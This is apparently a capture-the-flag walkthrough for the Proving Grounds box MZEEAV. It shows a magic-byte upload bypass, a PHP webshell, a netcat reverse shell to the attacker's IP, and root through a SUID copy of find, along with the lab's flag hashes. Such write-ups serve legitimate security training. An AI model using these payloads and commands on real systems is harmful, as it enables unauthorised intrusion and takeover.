Summary #
On port 80 there is a web application running called: MZEE-AV 2022
. In the /backups
directory there is a ZIP file that contains the source code of the application. The application screens for a magic byte MZ
where the uploaded file needs to start with. This knowledge allows us to upload a PHP webshell and gives us initial access as the www-data
user. Once on the target we find a /opt/fileS
which is a renamed binary from find
. Using this binary we can escalate our privileges to the root
user.
Specifications #
- Name: MZEEAV
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Intermediate
- System overview: Linux mzeeav 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64 GNU/Linux
- IP address: 192.168.178.33
- OFFSEC provided credentials: None
- HASH:
local.txt
:e4b93e50696377538a7c23ece323771d
- HASH:
proof.txt
:ad640add8dd303dc062e3fb995417d80
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir mzeeav && cd mzeeav && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Sep 14 08:45 .
drwxrwxr-x 65 kali kali 4096 Sep 14 08:45 ..
drwxrwxr-x 2 kali kali 4096 Sep 14 08:45 enum
drwxrwxr-x 2 kali kali 4096 Sep 14 08:45 exploits
drwxrwxr-x 2 kali kali 4096 Sep 14 08:45 files
drwxrwxr-x 2 kali kali 4096 Sep 14 08:45 tools
drwxrwxr-x 2 kali kali 4096 Sep 14 08:45 uploads
## set bash variable
ip=192.168.178.33
## ping target to check if it's online
ping $ip
PING 192.168.178.33 (192.168.178.33) 56(84) bytes of data.
64 bytes from 192.168.178.33: icmp_seq=1 ttl=61 time=18.5 ms
64 bytes from 192.168.178.33: icmp_seq=2 ttl=61 time=20.6 ms
^C
--- 192.168.178.33 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.543/19.567/20.592/1.024 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.178.33:22
Open 192.168.178.33:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 08:46 CEST
Initiating Ping Scan at 08:46
Scanning 192.168.178.33 [4 ports]
Completed Ping Scan at 08:46, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:46
Completed Parallel DNS resolution of 1 host. at 08:46, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:46
Scanning 192.168.178.33 [2 ports]
Discovered open port 22/tcp on 192.168.178.33
Discovered open port 80/tcp on 192.168.178.33
Completed SYN Stealth Scan at 08:46, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.178.33
Host is up, received echo-reply ttl 61 (0.021s latency).
Scanned at 2025-09-14 08:46:11 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNEbgprJqVJa8R95Wkbo3cemB4fdRzos+v750LtPEnRs+IJQn5jcg5l89Tx4junU+AXzLflrMVo55gbuKeNTDtFRU9ltlIu4AU+f7lRlUlvAHlNjUbU/z3WBZ5ZU9j7Xc9WKjh1Ov7chC0UnDdyr5EGrIwlLzgk8zrWx364+S4JqLtER2/n0rhVxa9RCw0tR/oL24kMep4q7rFK6dThiRtQ9nsJFhh6yw8Fmdg7r4uohqH70UJurVwVNwFqtr/86e4VSSoITlMQPZrZFVvoSsjyL8LEODt1qznoLWudMD95Eo1YFSPID5VcS0kSElfYigjSr+9bNSdlzAof1mU6xJA67BggGNu6qITWWIJySXcropehnDAt2nv4zaKAUKc/T0ij9wkIBskuXfN88cEmZbu+gObKbLgwQSRQJIpQ+B/mA8CD4AiaTmEwGSWz1dVPp5Fgb6YVy6E4oO9ASuD9Q1JWuRmnn8uiHF/nPLs2LC2+rh3nPLXlV+MG/zUfQCrdrE=
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCUhhvrIBs53SApXKZYHWBlpH50KO3POt8Y+WvTvHZ5YgRagAEU5eSnGkrnziCUvDWNShFhLHI7kQv+mx+4R6Wk=
| 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN4MSEXnpONsc0ANUT6rFQPWsoVmRW4hrpSRq++xySM9
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: MZEE-AV - Check your files
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: MZEE-AV - Check your files
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
On port 80 we find a web application called MZEE-AV 2022
with an Browse
and Upload
functionality.

Uploading the ./files/ports
files we get this response from listing.php
. All of these files we didn’t upload. But we cannot do anything further.

So, let’s run gobuster
to see if there are interesting directories. We find a directory called /backups
.
## run `gobuster`
gobuster dir -t 100 -u http://$ip:80/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt | tee enum/raft-large-dir-raw-80
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.178.33:80/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/upload (Status: 301) [Size: 317] [--> http://192.168.178.33/upload/]
/backups (Status: 301) [Size: 318] [--> http://192.168.178.33/backups/]
/server-status (Status: 403) [Size: 279]
<SNIP>
When we visit this directory in the browser, we get a directory listing and access to a backup.zip
ZIP file.

Let’s download this ZIP file and extract it to see what’s in it. It contains a var
directory with what it looks like a backup of the web application. Two interesting PHP files, named: listing.php
and upload.php
.
## change directory
cd files
## move the ZIP file to `./files`
mv ~/Downloads/backup.zip .
## extract ZIP file
7z x "*.zip"
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 330055 bytes (323 KiB)
Extracting archive: backup.zip
--
Path = backup.zip
Type = zip
Physical Size = 330055
Everything is Ok
Folders: 2
Files: 6
Size: 379060
Compressed: 330055
## list directories and files in `var`
tree var
var
└── www
└── html
├── index.html
├── listing.php
├── upload
│ ├── index.html
│ ├── wget.exe
│ └── whoami.exe
└── upload.php
4 directories, 6 files
upload.php
contains some interesting code and looks like this:
<?php
/* Get the name of the uploaded file */
$filename = $_FILES['file']['name'];
/* Choose where to save the uploaded file */
$tmp_location = "upload/file.tmp";
$location = "upload/".$filename;
/* Move the file temporary */
move_uploaded_file($_FILES['file']['tmp_name'], $tmp_location);
/* Check MagicBytes MZ PEFILE 4D5A*/
$F=fopen($tmp_location,"r");
$magic=fread($F,2);
fclose($F);
$magicbytes = strtoupper(substr(bin2hex($magic),0,4));
error_log(print_r("Magicbytes:" . $magicbytes, TRUE));
/* if its not a PEFILE block it - str_contains onlz php 8*/
//if ( ! (str_contains($magicbytes, '4D5A'))) {
if ( strpos($magicbytes, '4D5A') === false ) {
echo "Error no valid PEFILE\n";
error_log(print_r("No valid PEFILE", TRUE));
error_log(print_r("MagicBytes:" . $magicbytes, TRUE));
exit ();
}
rename($tmp_location, $location);
?>
Here we see that, using fread
, the first two bytes are read from the uploaded file and used in this entry: $magicbytes = strtoupper(substr(bin2hex($magic),0,4));
. So it’s converted using bin2hex
and eventually compared against: 4D5A
.
Using an online hex converter (https://www.scadacore.com/tools/programming-calculators/online-hex-converter/) we see the first two bytes of the uploaded file are compare with the ASCII value: MZ
.

So, start BURP and set it to intercept. Now, when try to upload the ./files/ports
file again and send the intercepted request to repeater, we add the characters MZ
in front of the file content and Click on Send
.

We get a 200 OK as a response, so that’s good. Looking at the output, we indeed see our uploaded file in the list.

So, let’s get a webshell. First, create a file called shell.php
with our reverse shell command (<?php system($_REQUEST['cmd']); ?>
) and upload it using previous technique or change the current request in repeater like this:
## change directory
cd files
## create a file called `shell.php` with this content:
<?php system($_REQUEST['cmd']); ?>

You should see the output like this:

Visiting this URL (http://192.168.178.33/upload/shell.php?cmd=id
) in the browser gives us code execution on the target.

So, let’s get a reverse shell. Get the local IP address on tun0, setup a listener and go to this URL: (http://192.168.178.33/upload/shell.php?cmd=nc+192.168.45.211+9001+-c+bash
). Now, we get initial access as the www-data
user in the /var/www/html/upload
directory.
## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.211
## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.211] from (UNKNOWN) [192.168.178.33] 48752
## print current user
whoami
www-data
## print current working directory
pwd
/var/www/html/upload
## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/avuser/local.txt
## print `local.txt`
cat /home/avuser/local.txt
e4b93e50696377538a7c23ece323771d
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
www-data@mzeeav:/var/www/html/upload$ export TERM=xterm && stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.211
## start local webserver
python3 -m http.server 80
## on target
## change directory
www-data@mzeeav:/var/www/html/upload$ cd /var/tmp
www-data@mzeeav:/var/tmp$
## download `linpeas.sh`
www-data@mzeeav:/var/tmp$ wget http://192.168.45.211/linpeas.sh
--2025-09-14 03:17:11-- http://192.168.45.211/linpeas.sh
Connecting to 192.168.45.211:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 0%[ linpeas.sh 100%[=============================================================================================================>] 939.29K 5.16MB/s in 0.2s
2025-09-14 03:17:11 (5.16 MB/s) - 'linpeas.sh' saved [961834/961834]
## set the execution bit
www-data@mzeeav:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
www-data@mzeeav:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows a binary /opt/fileS
which has the SUID bit set. Using the --version
option we can see this is the find
binary, but it’s names fileS
.
## get details on version of binary
www-data@mzeeav:/var/tmp$ /opt/fileS --version
find (GNU findutils) 4.8.0
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by Eric B. Decker, James Youngman, and Kevin Dalley.
Features enabled: D_TYPE O_NOFOLLOW(enabled) LEAF_OPTIMISATION FTS(FTS_CWDFD) CBO(level=2)
Using GTFOBins (https://gtfobins.github.io/gtfobins/find/#suid) we can escalate our privileges to the root
user.
## escalate to the `root` user using the `find` binary
www-data@mzeeav:/var/tmp$ /opt/fileS . -exec /bin/sh -p \; -quit
#
## print current user
# whoami
root
## print `proof.txt`
# cat /root/proof.txt
ad640add8dd303dc062e3fb995417d80
References #
[+] https://www.scadacore.com/tools/programming-calculators/online-hex-converter/
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://gtfobins.github.io/gtfobins/find/#suid